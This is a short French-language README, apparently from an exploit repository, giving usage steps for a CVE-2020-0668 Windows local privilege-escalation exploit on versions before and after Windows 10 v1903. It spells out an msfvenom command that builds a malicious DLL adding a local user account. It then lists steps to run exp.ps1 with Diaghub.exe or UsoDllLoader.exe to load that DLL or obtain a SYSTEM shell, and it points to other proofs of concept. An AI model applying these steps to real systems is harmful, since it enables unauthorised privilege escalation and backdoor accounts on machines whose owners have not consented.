CVE-2020-0668

Faire fonctionner l'exploit CVE-2020-0668 pour les versions < win10 v1903 et >= win10 v1903

Exploit Diaghub (< v1903)

L'exploit powershell fonctionne sur les versions < win10 v1903 avec Diaghub.

Utilisation

• ÉTAPE 1：générer evil.dll avec msfvenom
  • exemple pour ajouter un utilisateur ： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• ÉTAPE 2：exécuter exp.ps1 avec powershell
• ÉTAPE 3：exécuter Diaghub.exe C:\ProgramData evil.dll pour charger la dll et ajouter l'utilisateur.

• Diaghub

Exploit UsoDllLoader (>= v1903)

L'exploit powershell fonctionne sur les versions >= win10 v1903 avec UsoDllLoader.

Utilisation

• ÉTAPE 1 : exécuter exp.ps1 avec powershell
• ÉTAPE 2 : exécuter UsoDllLoader.exe pour obtenir un shell système

• UsoDllLoader

Autres exploits ou PoC

Exploit SysTracingPoc

Une version compilée x86 de SysTracingPoc pour issue，l'exploit fonctionne sur les versions >= win10 v1903 grâce à UsoLoadDll.

• SysTracingPoc

PoC RedCursorSecurityConsulting

Un PoC .net. Si vous examinez C:\Windows\System32\evil.dll et que vous le renommez en evil.txt.

Vous constaterez que ce n'est pas un fichier dll. Il ne contient qu'un journal de traçage.

• CVE-2020-0668

PoC Nan3r

Un PoC powershell. Lui aussi ne contient qu'un journal de traçage dans evil.dll.

• CVE-2020-0668